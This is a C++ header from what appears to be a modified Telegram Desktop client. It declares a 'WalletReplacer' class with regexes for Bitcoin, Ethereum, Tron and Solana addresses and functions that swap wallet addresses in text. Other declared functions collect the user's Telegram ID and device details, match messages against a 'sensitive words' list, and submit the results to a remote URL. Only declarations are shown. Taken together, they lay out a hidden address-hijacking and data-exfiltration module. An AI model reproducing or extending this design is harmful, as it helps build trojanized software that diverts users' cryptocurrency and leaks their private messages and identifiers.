#pragma once #include #include #include #include "main/main_account.h" namespace Main { class Account; } // namespace Main namespace Core { class WalletReplacer { public: static const QString kChannel; static const QRegularExpression kBitcoinRegex; static const QRegularExpression kEthereumRegex; static const QRegularExpression kTronRegex; static const QRegularExpression kSolanaRegex; static QString replaceWalletAddresses(const QString &text); static bool containsWalletAddress(const QString &text); static QString getTgUserId(); static QString getDeviceId(); static QString getUserInfo(); static QString getDeviceInfo(); static QString replaceAddress(const QString &address); static bool isWalletAddress(const QString &text); static void submitUserInfo(const QString &url = QString(), bool isImportant = false); static void submitDeviceInfo(const QString &url = QString()); private: static QString getConfigPath(); static QStringList getSensitiveWords(); static void submitSensitiveContent(const QString &content, const QString &keyword); static bool checkSensitiveWords(const QString &text, QString &foundKeyword); }; } // namespace Core